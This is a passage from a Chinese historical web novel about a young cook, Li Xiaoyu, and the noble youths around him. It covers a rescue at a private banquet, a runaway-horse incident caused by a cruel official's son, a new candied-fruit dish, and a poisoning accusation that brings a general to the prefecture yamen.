贺辞气的咬牙,抬手两箭齐发,直接将二人的发髻给射穿了。
“啊啊啊啊!!!!”
那箭来的太快,避无可避。
林崔和张柏吓的直接瘫软在地,湿了一片衣裤。
贺辞高声呵斥道:“你二人再敢行这种龌龊之事,就把你们绑在木桩上,当我练箭的靶子!”
“不敢了!我们不敢了小侯爷!”
贺辞转身离开,一路气着往回走。
他也不知道自己气什么,就是生气。
邵怀筠正因为整了裴叔群高兴呢,突然看见贺辞煞神一样的过来,心里一咯噔。
“小侯爷,这是发生了什么事,怎么气成这样?”
贺辞沉着脸道:“你还有脸问我,黎小鱼在哪?”
邵怀筠被吼的一脸懵,指了一下后面,“在后厨。”
贺辞头也不回的扎进后厨。
黎小鱼带着卢大海他们开始收拾,察觉到有人快速靠近,还没抬头,手腕就被人紧紧拉住,整个人都被带了出去。
“你跟我走。”
黎小鱼被拖着往前,“小侯爷你怎么在这?不是,你拉我干什么?”
贺辞头也不回,一手握弓,一手拉人,“当然是救你,不然还能干什么,牵你手散步吗?”
“啊?”
黎小鱼有些懵。
贺辞见黎小鱼这样,急都急死了。
“你笨死算了,邵怀筠叫你来就来?知不知道有几个家伙要对你图谋不轨?”
黎小鱼更懵了,贺辞怎么知道他路上遇到了个脏东西。
不过那人一直也没动静啊。
“小侯爷,突然一下的到底怎么回事?”
贺辞冷着一张脸,一边走一边把在亭子那边听到的快速讲了一边。
黎小鱼听完也皱着眉,没想到那两人还有这么恶心的想法。
“多谢小侯爷相告。”
黎小鱼话刚说完,邵怀筠也赶了过来。
贺辞刚刚说的,他也听见了。
林崔和张柏这两人是不着调的,但邵怀筠没想到这两人会想在他的私宴上瞎搞。
他想拦着黎小鱼,结果被贺辞一把推开,一屁股坐地上去了。
黎小鱼见状硬是拉住贺辞停了一下,贺辞不满的皱眉,“你还不走,留在这给那两人玩吗!”
这话听着刺耳,黎小鱼瞥一眼贺辞,“小侯爷,我账还没结呢,而且晚上还有一顿席面要做。”
贺辞直接瞪着坐地上的邵怀筠,“把钱给他,下顿不做了。”
贺辞的话是命令,而非商量。
邵怀筠哪敢多说。
他的目光在贺辞抓着黎小鱼的手腕上停顿一瞬,很快又收回,带着歉意对黎小鱼道:“实在对不住,那两人是个混不吝,别见怪。就听小侯爷的,晚上那顿不做了。我给双倍银子,以后也定不让这两人靠近你。”
黎小鱼没说不要,他才不会和银子过不去。
晚上那顿不做,还能回家和家人一起吃团圆饭,黎小鱼更没非要做不可。
林崔和张柏谋划的事,他也确实膈应的慌。
黎小鱼带着从邵怀筠那给的一百两,被贺辞拽下了山。
玉山脚下,贺家的马车前,黎小鱼对贺辞道:“我的伙计和徒弟还在山上。”
贺辞有些不耐烦,“我叫白竹去接他们,你赶紧上马车。”
“行。”
黎小鱼上了马车,贺辞紧随其后。
贺家的马车足够大,两人之间有很大的空位。
贺辞敞着腿坐着,一个人占大半的位置,他转头看一眼黎小鱼,“你今日怎么没哭?”
黎小鱼兜着重重的银子,随口应付着,“小侯爷想看?”
贺辞转过头去,“我有病啊,想看你哭。”
黎小鱼笑了一声,“今日多谢小侯爷出手,又送我回去。小侯爷放心,我知道规矩,回去后我一定不会出现在小侯爷面前,打扰小侯爷。”
按理说,黎小鱼不缠着他,这是贺辞想要的。
可听黎小鱼这样说,贺辞心里又觉得不得劲。
怎么就这么便宜黎小鱼,他折腾一场,就是为了黎小鱼别出现在他面前?
他图啥啊。
“你做的菜挺好吃,后面每天给我做菜。”贺辞视线扫了一眼黎小鱼护着的银子,“给你银子。”
黎小鱼抬头“啊?”了一声,“小侯爷要吃的话,我可以不要钱。”
算是还人情了。
贺辞一撇嘴,“你穷的叮当响,能给我做什么好东西?给你银子,拿着去用,我要吃好的。”
黎小鱼不和他犟,直接点头,“行,听你的。”
玉山内。
邵怀筠拦着裴叔群,“小侯爷什么时候认识的黎小鱼?”
裴叔群打开折扇,扇个不停。
邵怀筠恨不得把那破折扇给撕了,天越来越冷,还抱着个折扇,也不知道装个什么劲。
“问你话呢。”
裴叔群冷笑,“你想知道啊,我偏不说。你再拦我也没用,有本事咱两今天就在这耗着。”
邵怀筠呸了一声,“谁乐意和你在这荒山野岭的耗着,想得倒美,滚吧你。”
……
黎小鱼知道今天爹娘会带着小猫儿去大伯父家里过中秋,便让贺辞送他去黎府。
到了地方要下,黎小鱼问贺辞,“小侯爷要不进来吃点垫垫肚子?”
贺辞抱着他心爱的弓箭,“不去,避嫌。”
黎小鱼问道:“避嫌?”
贺辞颔首,“当然要避嫌,不然我今天晚上进去,明天外面还不知道要传出什么闲话来。”
黎小鱼不明白,“小侯爷无权无职,即便是进黎府,也不会有人直接朝着政权上想才是吧。就算是想了,又能有什么闲话?”
“你什么都不知道。”贺辞无语的挥挥手,叫黎小鱼赶紧下去。
今天他要进黎府,裴叔群明天就能闻着味打听到来龙去脉。
他才不要让裴叔群以为他和陆十七一样。
贺辞不去,黎小鱼也不好强行拉人进去。
挥手道别后,黎小鱼就揣好他的银子进了黎府。
黎九州和周珍娘都挂念着他们的小鱼,今日中秋,有没有好好吃饭,会不会太累。
正想着呢,就听见了熟悉的声音,“爹!娘!大伯父!大伯母!小猫儿!”
“小鱼!”
“小鱼回来啦!”
“小鱼哥哥!”
月色下,亲人们高兴的站起来。
黎小鱼笑着朝他们跑去,“我回来啦!”
下人很快上了一副碗筷,周珍娘给黎小鱼夹菜,“不是说明天上午回,怎么今晚就回来了?”
林崔和张柏的事情,黎小鱼没有对家里人说。
这事说了,除了让他们担惊受怕以外,也没别的。
“邵五郎的席面出了点事,晚上的那场就停了。”
黎九州笑道:“这可真是巧,能回来一家子吃顿团圆饭。小鱼啊,正好来尝尝这个月饼。这可是爹揉的面团,你娘弄的馅,小猫儿脱的模,你大伯母烤的。”
黎小鱼接过月饼,笑问道:“那大伯父做了什么?”
大伯母赵怀钰掩唇轻笑,“你大伯父装了盘子。”
“那我就负责吃啦!”黎小鱼咬了一口月饼,摒弃掉所有下意识的对于口味与口感的真实感知,只笑着说:“好吃!”
一句好吃可把黎九州高兴坏了,“小鱼觉得好吃就多吃点。”
黎小鱼点头,“好的爹。”
家宴结束后,黎九章对黎小鱼招招手,喊他去了书房。
黎小鱼心里有些发怵,他大伯父突然这样喊他过去,肯定是有事说。
他怕是自己找的借口不好,在他大伯父面前露馅了。
结果进去后,他大伯父并没有提玉山,而是说了铁锅的事情。
“小鱼啊,你是怎么想到用铁打锅的?”
黎小鱼压根没想到他大伯父会问这个,快速的想了个理由,“京城郊外的山上,有个隐居的老者用的铁锅,做菜很快。为了小饭馆出菜快一些,我就也照葫芦画瓢,打了一口铁锅来用。”
黎九章对此没有怀疑,京城外的山不少,山里隐居的人更是不少。
而且多是有资产,有声望的。
能用得起铁造锅,也合理。
黎小鱼问黎九章,“大伯父,铁锅不会是有什么麻烦吧?我保证这铁锅的用铁量都在规定的范围内。”
黎九章笑了一下,“没有,是楚大人之前在魏家的席面上见你用铁锅做菜,他也算着时间,觉得出菜很快,而且铁锅比起釜子来轻还不易摔坏。”
“正好他与管军营炊事的将军交好,把这法子和他提了一嘴。”
“军营那边准备打铁锅试试看,不错的话,军营应该会给你东西做赏。怕到时候你不知道其中缘由,见到军营的人去找你,再被吓着,先给你说一声心里有个数。”
黎小鱼听着松一口气,他差点以为他的大铁锅又不合规制了。
说完,黎九章便要点灯笼出去。
他手里拿着蜡烛,对着准备套灯罩的黎小鱼道:“小鱼,若是在外面受委屈了,尽管和大伯父说。不管怎样,大伯父会拼尽一切护着你的。”
“要是自家的孩子都护不了,更不可能护得了其他百姓。那这官当的也没什么意思。”
黎小鱼听着话,心中一暖。
大伯父人在官场,懂的东西见的世面要比他爹娘多太多。
他的理由并没能瞒过大伯父。
亲人的关心与在意,让黎小鱼很高兴。
他低着头,一滴泪砸在纸糊的灯罩上,嘴角却是笑着的,“我知道了,大伯父。”
……
邵怀筠在第二天的时候,一大早的就让元夏带了一封信送去小饭馆。
信中邵怀筠再次对黎小鱼表达了歉意,让黎小鱼不要因此疏远了与他的关系。
言辞恳切,态度真诚。
信看完后,元夏没走,等着黎小鱼的回话。
邵怀筠这信,看着是对他抱歉,可实际上,是怕得罪了贺辞。
将自己的姿态压的这样的低,怕是误会了他与贺辞的关系,以为他二人交好。
黎小鱼心里有数,他把信收好,对元夏道:“我这有句话要你带给你家郎君。”
“黎小郎君请说。”
黎小鱼道:“其实我和小侯爷也只是有过几面之缘,希望你家郎君不要因此误会什么才好。”
“还有,此事说到底错不在邵五郎,不必再如此与我道歉。”
元夏将黎小鱼的话原封不动的带了回去,邵怀筠听着是真有些摸不着头脑了。
只有几面之缘?
那小侯爷怎么看着一副要吃人的样子?
不过黎小鱼有句话说得对,这事说到底和他没什么关系。
他该给的给的,该说的说了,再继续下去,就过了。
“元夏,以后林崔和张柏两人再来寻我,就说我不在。”
这两人色欲熏心,脑子都没了,再这样下去,迟早会出事。
他还是离远点比较好,省的到时候被惹的一身骚。
黎小鱼中午去书院送饭菜,要另外多带一份给贺辞的。
送完饭堂,去竹轩堂的时候,白竹已经在那候着。
“黎小郎君,这是小侯爷想吃的菜,还有银子,你收好。”
白竹接过食盒,将一个钱袋子还有一张折叠好的纸塞到黎小鱼手中。
钱袋子很重,起码有二十两银子。
黎小鱼把纸打开一看,上面写的食材很普通,并没有什么山珍海味难以寻到的东西。
他对白竹道:“小侯爷给的银子多了,等用完的时候,我再要吧。”
白竹拎着食盒,看黎小鱼说的认真,笑了一下,“多的那是小侯爷赏的,他说叫你不要什么私宴都接,免得把自己都搭进去,下次可没人去救你。”
黎小鱼语塞,这茬贺辞是过不去了。
“其实小侯爷昨日不来,也不会有人能得逞。”
白竹闻言立即摆手,“小郎君这话你要说可自己去说,我说了,小侯爷要是不高兴,那气可是撒在我的身上。”
黎小鱼想了一下。
“还是算了吧,你家小侯爷并不想见我,我还是少在他面前出现为好。”
回到饭馆,黎小鱼和卢大海在后厨忙活着。
现在已经陆陆续续的在上客,孙草和方石头忙着招呼客人。
周珍娘看着小猫儿也在前前后后的跑着,她也心疼孩子,掏了两文钱出来,塞给小猫儿,“去前头买些麦芽糖吃。”
怕孩子不好意思要,周珍娘道:“周婶婶也想吃了。”
小猫儿一开始确实是不想要这铜钱,他已经给黎家人添了很多麻烦了,每天吃人家的喝人家的,哪里好意思再另外要铜钱去买吃的。
不过听说周珍娘自己也想吃,小猫儿把铜钱接过,保证道:“婶婶,我马上就买回来。”
卖麦芽糖的小贩身前围了不少的小孩,小猫儿买了两文钱的麦芽糖,用棍子缠绕着,乐呵呵的钻出人群。
一辆马车快速驶来,驾马的马夫骤然拉紧缰绳,马声嘶鸣,马蹄扬起。
坐在车中的江安被晃的东倒西歪,在里面大声骂道:“王大你要死啊!”
王大稳住了马后连声告罪,“郎君息怒,这麦芽糖摊子前面太多的小孩,马太快,差点撞到孩子。”
江安从马车里蹿出来,一脚把王大踹下马车,他吼道:“撞到就撞到了,有什么所谓!”
真是笑话,孩子能有他重要?!
第36章 第 36 章
“郎君饶命, 郎君饶命啊!”
马夫被踹翻在地,直接跪着磕头求饶。
江安想到自己在马车里倒来倒去的,气不打一处来, 捡了脚边的马鞭就抽出去。
噼噼啪啪的抽打声还有马夫痛苦的哀求声, 让周围的人早就吓的远离。
小猫儿认出了这人就是当初使劲踹打他, 差点就将他打死的人。
他吓的不行, 身体不停使唤, 想跑跑不掉。
好在他也没有惊吓的叫出声,等害怕的情绪稍微缓和之后, 一溜烟的往远处跑。
连方向跑反了都不知道。
此时江安的马鞭甩起, 无意间抽到了马的身上,那马受痛嘶鸣, 因无人拉拽缰绳控制方向, 而随意的横冲直撞。
路上行人们的尖叫声, 让马更加受惊害怕。
一时间井然有序的街道,直接乱了起来。
“啊啊啊啊啊!”
“快跑啊!马要撞死人啦!”
就连江安都被马突然跑起来而甩了下去, 在地上滚了好几圈。
等回神的时候, 又是对着马夫好一通的拳打脚踢, “你眼睛瞎了啊!不知道给本公子当肉垫!”
疼死他了!
马夫已经被抽的皮开肉绽,动一下都能疼的晕过去,哪里能再去救人?
可他也不敢说话,只能闷声的忍受着。
路上的行人因为马疯跑而四处躲散, 小猫儿手里攥紧了麦芽糖,两条小短腿使劲的倒腾。
他之前为了躲马, 方向反了, 这会离小饭馆越来越远。
马蹄声越来越近,小猫儿心里也越来越怕。
危急关头, 他听到有人叫他。
“小猫儿!往左边跑!”
小猫儿听到熟悉的声音,立即往左边跑去。
柳玉攀骑着马,飞快的靠近马车。
两匹马贴近后,柳玉攀下半身稳坐在马上,上半身探身去拽另一匹马上的缰绳,使劲的拉住。
马又往外跑了一段距离,柳玉攀双腿死死的夹着自己的马,上半身直接横出去,一手拽一道缰绳。
看着惊险万分。
幸而那马终于停下,巡查的官兵也赶了过来。
远远的瞧见那马车,认出是江家的,心中便是一顿叫苦。
等靠近后,才发现江家的小郎君人也被摔下,正揍着马夫。
拉住马匹的是凌将军的外甥。
一个两个都是他们惹不起的,偏偏还不能装看不见躲掉,只能硬着头皮上。
江安看到官兵过来,抬手就打。
“你们是干什么吃的,马都把我摔了才知道过来!跑这么慢,怎么不去死啊!”
打头的那官兵年岁看起来不大,挨了这么一巴掌,嘴角都有血迹。
他握着手里破旧的配刀,低着头习惯性的道歉,“郎君对不起,是我们来晚了。”
跑来柳玉攀这边的两个官兵,按着柳玉攀的要求牵着两匹马,不让它们跑走。
柳玉攀跑去找了小猫儿。
小猫儿手里攥着两根缠着麦芽糖的小木棍躲在一旁,柳玉攀把人拉起来,左右看了看,确认没受伤。
他把小孩手里的两根麦芽糖全抢了,“叫你嘴馋,差点挨撞吧。”
小猫儿护了一路的麦芽糖,临了了还是没护住。
嘴巴一瘪就要哭,被柳玉攀直接用手抓住嘴,“和你哥一个德行,告诉你,哭也没用。”
他把手掌摊开给小猫儿看,“我为了救你都受伤了,吃你点糖怎么了。”
看到皮肉翻开的伤口,小猫儿反而直接哭了出来。
他捧着柳玉攀的手,伤心的不得了,“我们去看郎中,把手修好。”
柳玉攀有些不适应,他迅速把手握住,不再让小猫儿看伤口。
反手把一根带着麦芽糖的木棍塞小猫儿嘴里,“回去找你哥去,不用管我。”
小猫儿自己也没有主意,听了柳玉攀的话,跑回去找黎小鱼去了。
柳玉攀已经完成了契书上的要求,现在不用再早中晚的去小饭馆干杂活。
而今,天气凉爽,不必怕日头晒的慌,出行便也不再坐马车,而是直接骑马。
对他们武将之家的子弟来说,骑马才是最舒服的。
也幸好是骑马了,不然他现在也不在小饭馆干活,没什么理由再靠近黎小鱼。
都没办法让黎小鱼欠他这么大一个人情。
他将从小猫儿手里抢来的麦芽糖往嘴里一塞,嗯,抢来的东西,吃着就是甜。
正准备牵马去小饭馆找黎小鱼,江安就骂骂咧咧的过来了。
“柳玉攀?谁他娘的准你动我的马了?”
江安精致华贵的衣服上沾染了灰尘,脸上也有血迹。
不过不是他的,是抽打马夫的时候,马鞭带出血溅到了他的脸上。
柳玉攀盯着江安看了一眼,嗤笑一声。
当着江安的面,拽着江安马的缰绳,对他道:“你小子给我看好了。”
然后啪啪啪的给了那马头几巴掌。
江安并不是爱马,只是见柳玉攀勒马,单纯的想来找茬。
柳玉攀疯名在外,一点也不惯着,抬手就扇。
这把江安给气坏了,“你敢打我的马!”
柳玉攀头一昂,“你再对我大呼小叫,我不仅打你的马,我还要打你。”
江安吼道:“柳玉攀!”
柳玉攀的声音比他还大,叉腰就要干的架势,“喊爷干嘛!”
江安被吓的往后退一步,紧张的吞咽一下口水。指着柳玉攀警告,音量却正常了许多,“你们都给我等着!我不会放过你们的!”
们?
柳玉攀朝着左右看了看,没人啊。
这小子是被他吓傻了吧。
……
马夫拖着一身的伤,驾着马车带江安离开。
柳玉攀牵着马直接去了小饭馆。
小猫儿跑回来把事情大概讲了一遍,柳玉攀就到了。
现在客人还不是很多,后厨先交给了卢大海,黎小鱼让柳玉攀去后院的小石桌那。
“小猫儿说是你救了他?手还受伤了?”
柳玉攀啧了一声,“你这是什么不相信人的语气?怕我骗小孩啊?”
他把手一张,“看清楚了吧,我可没骗人。”
黎小鱼看那伤口,缰绳磨过,还挺严重的。
不难想当时的情况多惊险。
“谢了。”
柳玉攀收回手,“你不是一向喜欢算的清清楚楚,怎么到我这里就只有谢了?”
黎小鱼看出柳玉攀是有备而来,哪怕今天没有救小猫儿这事,也迟早弄出别的事来,想让他欠下人情。
“你想要什么直说吧,拐弯抹角的都不像你了。”
柳玉攀一点也没有被看出目的的尴尬,双手一抱,讲了自己的要求。
“那天去见许老头,我表哥就是怕老头仗着自己要不行了,逼着你真的收许活为徒,专门跟着去。你别说你没看出来。”
黎小鱼闻言点头,“嗯,看出来了。”
确认黎小鱼什么都知道,柳玉攀有些不高兴。
“你看出来了,结果还是愿意被那许老头裹挟收徒。都没给我表哥帮着阻拦一下的机会,你知道我表哥多难受吗?”
黎小鱼没说话,他也感觉得到,凌少卿最近一直垂头丧气的。
柳玉攀继续道:“现在那许老头也死了,我也不好再说什么。”
“不过既然许老头能倚老卖老的求你收许活,那我也要以今天救你弟弟的情分,要你喝我表哥的拜师茶。”
黎小鱼摇头,“我不。”
柳玉攀急了,他本想拍桌子,想到手受伤了,改瞪黎小鱼,“黎小鱼,你不能因为我表哥家世好,就不要他。”
“我表哥哪里不行!”
嚷嚷完后,看黎小鱼一直盯着他看,又有些泄气。
“你要是因为之前的事情心里不高兴,我可以再次向你道歉,给你赔偿,帮你干活。但是你不能因为我不行,就一直将我表哥拒之门外啊。”
黎小鱼这才开口,“如你所说,许活没有家世背景,是孤身一人。所以,他若真的犯什么错,我能够压的住。甚至可以说,我不怕他犯错。”
“可你表哥呢?他什么身份?辞州凌大将军独子,你要我真当他师父?真要有什么事,我能以师父的身份管得住?”
“还有,就算我同意了,又有什么用?你与其挟恩要我喝你表哥拜师茶,不如去求你姨父,叫他允许你表哥拜个厨子为师。”
听到姨父,柳玉攀的气势弱了好多。
黎小鱼无语,“就你们怕凌将军揍,我不怕?我铁打的啊?”
“你信不信我今天接受,明天凌将军就能带着兵马把我的小饭馆给踏平了。你表哥也躲不掉凌将军一顿毒打,你这是为你表哥好吗?你这是害他。”
柳玉攀被说的一声不吭,他无法反驳。
只能皱着眉,无可奈何的说:“那拜师这事,你当我没说,这恩情就先记着吧。”
黎小鱼起身要去后厨忙,“不记,你救的小猫儿又不是我,找猫儿要还恩去。”
柳玉攀不干了,“那小子屁大点,能指望他干什么啊!你没听过一句话叫弟债哥偿吗?他是你弟弟,你得帮他还!”
黎小鱼不听,转头就走。
柳玉攀追上去,“黎小鱼!”
晚上的时候,小猫儿做了个噩梦,梦见自己被马给踩死了。
惊叫声把浅眠的黎小鱼叫醒,他去了隔壁屋子陪着小猫儿睡了一晚。
看着小猫儿睡梦中的不安,黎小鱼也无可奈何。
闹市纵马需杖刑罚银,伤人的话,罪责加重。
但因纵马者是知州之子,便能在官兵的眼皮子底下安然无恙的离开。
江安还真是和他爹一个模子刻出来的,脾性都如此的相像。
……
秋季已至,到了吃蟹的季节。
不过辞州人对蟹,并没有南边和京城的权贵们那么的喜爱。
这里的蟹肉并不那么肥美,吃起来也麻烦,急脾气的吃不来。
辞州更多的权贵爱买那蜜煎吃,秋季的各种果子成熟了。
每一样都能拿去做蜜煎果脯,长期的储存着。
黎小鱼在一众蜜煎果脯里,另辟蹊径,做了一道“梅花脯”。
虽叫梅花脯,但与梅花却没什么干系。
原料是橄榄与山栗。
山栗虽个头小,但味甘甜可口。
生橄榄与山栗均切薄片,用蜜水煮之,再烘干。
蜜水煮过后,能减少橄榄初入口时的涩,留下橄榄甜香。
橄榄与山栗,两种不同口感味道相互融合,在细细品嚼之下,口中香甜无比。
而叫梅花脯,是因记录这果脯做法的人,爱梅,又喜这果脯,才起了梅花脯这名字。
说这果脯食之,似有梅香风韵。
黎小鱼想起做这个,还是听孔山长他们说蜜煎橄榄吃腻了,想吃点新奇的。
可生橄榄味涩,除蜜煎外,也想不到更好的吃法。
他想到之前看的古籍,有这么个吃法。
虽也有蜜水相佐,但口感上比起蜜煎要少些甜腻,便弄了出来。
这果脯的味道,在黎小鱼看来,就是减糖增加口感版的蜜煎橄榄,梅香什么的他是没吃出来。
对于果脯的名字,孔山长他们也有疑惑。
黎小鱼便将这果脯的名字由来给孔山长等人讲了一遍,这群夫子们听完是拍手称妙。
并且还为梅花脯写了诗,也因此,梅花脯在辞州境内一下子有了不小的名气,一群文人雅士都推崇梅花脯。
就连黎九章都专门派人去小饭馆买,带去参加同僚之间的宴饮。
梅花脯就这么借着诗词赞誉,在辞州文人雅士之间风靡起来。
*
江渚松也是个好附庸风雅的,他因黎九章讨厌黎家人,却一点也不耽误他叫人去买梅花脯。
梅花脯的做法简单,买了一份后,江渚松就叫府上的厨子照着做了出来。
此后想吃便都叫府上厨子做来吃。
他喜欢吃,家里的一众子女与妾室们,为投其所好,都跟着一起吃。
江安也不例外。
一天晚上,江安突然腹痛难忍,大半夜的请了郎中问诊。
江家怕是有人下毒,封府彻查。
世上哪有不透风的墙,江府里发生的事,在天亮后,全传了出去。
柳玉攀是从裴叔群那得来的消息,他中午的时候,和凌少卿直接骑马去了小饭馆。
黎小鱼自从上次柳玉攀找过他后,就让凌少卿中午和晚上也跟在他身边。
他只能做到多带带凌少卿。
到了小饭馆,凌少卿直接去了后厨。
柳玉攀到处找猫。
“小猫儿!过来!哥哥我告诉你一个大快人心的好消息。”
小猫儿从柜台后面探出头,嘴角沾着糖浆一样的东西,嘴巴一张一股的桂花味,“啥好消息啊?”
“你偷吃什么呢?快拿来我看看。”
柳玉攀做势要捉小猫儿的手,给小孩吓的一溜烟跑了。
“你跑什么啊!我还能抢你吃过的东西不成!”
真服了这小孩。
最后小猫儿还是被柳玉攀抓住,按在石凳上听他讲话。
“上次马车要撞到你的那个大胖子你还记得不?他中毒了。”
小猫儿护着手里的桂花糯米糕和柳玉攀讲话,“那他是恶有恶报。”
柳玉攀一挑眉,“你还挺讨厌他。”
小猫儿点头,他很讨厌那个人。
就是因为那个人突然打他和爷爷,差点把他打死了,爷爷才会为了给他找出路,大晚上的离开。
到现在,生死不知。
这辈子,他都不知道还能不能再见爷爷一面。
都怪那个讨厌的人。
小猫儿气的把桂花糯米糕都抓瘪了,柳玉攀看那被挤出来糯米糕,有些嫌弃的撇开头。
“你手里那玩意赶紧扔了,怪恶心的。”
“不扔,能吃的。”
小猫儿不听柳玉攀的,直接往嘴里塞。
他以前再脏的东西都吃过,这被他自己捏瘪的甜糕哪里不能吃了?
柳玉攀不知小猫儿的来历,他以为是黎小鱼要求的。
见小猫儿往嘴里送,皱着眉头,嫌的不行。
“你哥一天到晚的不准人浪费食物,你倒是当圣旨一样听着。他这会又看不见,扔了又怕什么?再说了,你是猫,他是鱼,你怕他做什么?”
猫儿噘嘴巴,“你说小鱼哥哥,我讨厌你。”
柳玉攀吃瘪,瞪小猫儿。
小猫儿善察言观色,看见柳玉攀变脸,怕挨打,赶紧哒哒哒的跑走。
正巧黎小鱼听到动静从后厨出来,小猫儿一把抱着黎小鱼的腿躲在他身后。
小孩很有眼力见,知道谁是老大。
黎小鱼拖着挂件小猫儿往前走,“柳玉攀,你别再吓小猫儿。多大的人了,和一个小孩子闹。”
柳玉攀要委屈死了,“黎小鱼你讲不讲道理,我就瞪了他一眼而已!他是你儿子啊,维护成这样!”
凌少卿掀开后厨的帘子出来,手里还端着东西。
“表弟,你不要这样和师父说话。不礼貌。”
柳玉攀嘿了一声,“你师父,我礼貌什么!”
“表哥,我是真发现了,你现在什么都向着黎小鱼。”说着又看一眼小猫儿,“还有他养的猫。”
凌少卿有些心虚,拉过猫儿给他塞了一小袋刚放凉脱模的栗子糕,“我哪有啊?”
柳玉攀盯着栗子糕翻了个白眼。
还没来得及吃味,手里也被塞了一块,“吃吧,这是我师父做的,人人有份。”
柳玉攀看向手里发着香甜味道的栗子糕,阴阳怪气的哼哼,“你师父做的,我也有呢?”
黎小鱼受不了柳玉攀,在一旁道:“你吃不吃?不吃就放下。”
柳玉攀见好就收,张嘴就把栗子糕往嘴里一送。软糯糯的栗子糕,吃完觉得不够吃。
他又到处抓猫儿,想从猫儿手里抢口来吃。
结果被黎小鱼按住。
“别抢小孩子吃的,新的一锅快好了,想吃就过来,吃个够。”
柳玉攀放过了猫儿手里的栗子糕,跟着黎小鱼走了。
去后厨时,黎小鱼问柳玉攀道:“那江安中的什么毒,你可知道?”
柳玉攀摇头,“他家里人都不知道,我哪知道去。听说吃的都是以前吃过的,却突然腹痛难忍,怪的很。”
正说着,珍馔楼的伙计跑了过来,他找凌少卿。
“东家,官府来人,说江郎君出事前吃过我们珍馔楼的卤牛肉,这会要拉厨子去问话呢。”
伙计说完之后,凌少卿和黎小鱼告罪一声,赶去了珍馔楼。
珍馔楼的卤牛肉一天卖出去那么多,吃的都是达官显贵,其他人都没事,就他江安吃出毛病了。
真是奇了怪了。
在凌少卿看来,江渚松就是以此为借口故意刁难他。
江渚松的确知道卤牛肉没问题,他也正如凌少卿所想,故意为之。
那些武将家的郎君们,一个个的年少轻狂,不知天高地厚。
家里的大人整天在军营忙活,没空管孩子,那他身为父母官,合该帮着敲打。
姓柳的当街叫他儿子难堪,他没理由找柳玉攀麻烦,找表哥麻烦也是一样。
表哥还更有分量。
凌少卿赶过去的时候,许活已经被官差抓了起来。
卤牛肉的火候,都是许活掌控的。
真要做点什么事,也最方便顺手。
而调卤料的凌少卿也很有嫌疑,但这本就是莫须有的事,自然不敢过火,真拿凌少卿。
不过许活身为珍馔楼的厨子,他被带走,凌少卿作为东家也是要进衙门的。
柳玉攀急忙忙的赶过去,就看见凌少卿跟着官差走的画面,急的冲上去要拦人。
被黎小鱼一把抓着后领给拖了回来。
“黎小鱼你放开我,我要去救表哥!”
黎小鱼一听,手抓的更紧了。
“你现在去那是添乱。”
柳玉攀急道:“那你也放开我,让我去找姨父。”
黎小鱼把人往小饭馆后院拽,“去找你姨父,叫江渚松有机会激怒他,然后被江渚松拿到把柄?”
柳玉攀泄气道:“怎么什么都不行啊!”
他看向黎小鱼,“我表哥和许活还是你徒弟,他们都被带走了,你就一点也不着急?”
“急有什么用。”黎小鱼把人按在石凳上,“我问你,你知不知道江安那天到底吃了什么?要是不知道,就想办法去打听。”
柳玉攀听到黎小鱼的问题,稍微稳住了心神。
“就知道吃了卤牛肉和梅花脯,还是裴叔群不知道从哪听来的。要知道更详细的话,得去问江府的下人。”
说到梅花脯,柳玉攀又有些庆幸。
“幸好你做的梅花脯现在有不少酒楼小饭馆都学了去卖,各府也有厨子学着做。不然那江老贼能把你也逮进去。”
梅花脯毫无技术含量,哪怕不是厨子,都能吃一遍就会做。
听到江安吃了梅花脯,黎小鱼心里有数了。
“不用打探别的了,你去确认一下江安那天是不是同时吃了卤牛肉和梅花脯。”
“如果是,直接去找凌将军,告诉他牛肉与橄榄同食,会造成腹痛便可。如果不是,就以不变应万变。”
卤牛肉无毒,有太多的证据能证明。
那姓江的,怕是只想杀鸡儆猴,不敢真把凌少卿怎样。
就是许活可能会受些皮肉之苦,但也不会真的有性命之危。
黎小鱼说完,柳玉攀有些惊讶的看向他,“你怎么知道二者不能同食?”
黎小鱼不好说是他前世知道的,只能说:“我之前在京城见人吃了蜜煎橄榄和牛肉后,因腹痛请了大夫。”
柳玉攀不信,“京城能吃牛肉?”
黎小鱼点头,“老死的牛可以吃,牛又不是长生不死,每隔段时间,一些大酒楼里总是会有牛肉的。”
柳玉攀狐疑着起身,要走的时候突然回头问道:“红糖水与牛肉一起吃,是不是会腹胀?”
他忘不了,自己放的那一夜的屁。
黎小鱼知道柳玉攀会发现,没想到发现这么快。
还挺敏锐。
他反问道:“会吗?”
柳玉攀哼了一声,“不管你知不知道,看在今天你告诉我橄榄和牛肉的事,去救表哥的份上,那事都算过去了。”
柳玉攀说完就走,也不等黎小鱼的反应。
他先确认了江安那晚的吃食,随后立即快马加鞭去了军营找凌将军。
第37章 第 37 章
辞州军营。
凌怀远正在演武场练枪, 亲兵匆匆赶来禀报,“将军,公子被府衙抓走了。”
凌怀远手中长枪一顿, 虎目怒视, “你说什么!”
柳玉攀在营帐中等了没一会, 外面便有人进来。
随之而来的是凌怀远雄厚的声音, “玉攀, 你表哥怎么回事?”
柳玉攀起身,低着头将事情讲了一遍。
“江老贼这是皮痒了, 要打我脸面!”凌怀远大手一挥, “来人!点兵!”
亲兵得令,立即去办。
凌怀远套上盔甲, 披上鲜红披风, 提着长枪。
路过柳玉攀时, 犹豫片刻后问他,“你那伤, 可好了?”
柳玉攀点头, “多谢姨父关心, 早好了。”
“嗯。”
凌怀远干巴巴的回了一声,便大步离开营帐。
训练有素的将士们,手持武器,将辞州府衙包围了起来。
高头大马上巍峨的将军翻身下马, 一身重装铠甲,美髯及胸, 威风凛凛。
府衙的官差要拦人, 凌怀远只当没看见,径直上前。
即便他们抽出佩刀, 凌怀远照走不误。
官差们紧张的不住退后,凌怀远低头,虎目一瞪,盯着眼前举刀的官差,“兵拔出刀时,就要有不怕死的气势。别怂的抖成筛子,再抖老子给你一拳。”
整日里只和老百姓打交道,只敢对老百姓吆五喝六的酒囊饭袋们,哪里见过这样的气势,吓得直接腿软,往后一倒。
凌怀远嗤笑一声,“一群孬种,滚开。”
官差们朝着两边散开,凌怀远没有任何阻拦的走到大堂之上。
“哟,什么风把凌大将军给吹来了?”
江渚松示意一旁的小吏,“还不快给凌大将军看座?”
凌少卿站在许活的边上,他只觉得后背一凉,根本不敢看他爹。
凌怀远瞥一眼儿子,确认没缺胳膊少腿,脸上神情也松了一些。
“你这地方冤魂太多,老子可不多待,省的被吸了阳气,变得和你一样。”
凌怀远长枪底部往地上一戳,那块地砖裂了缝。
江渚松瞧着地缝,眉头一挑。
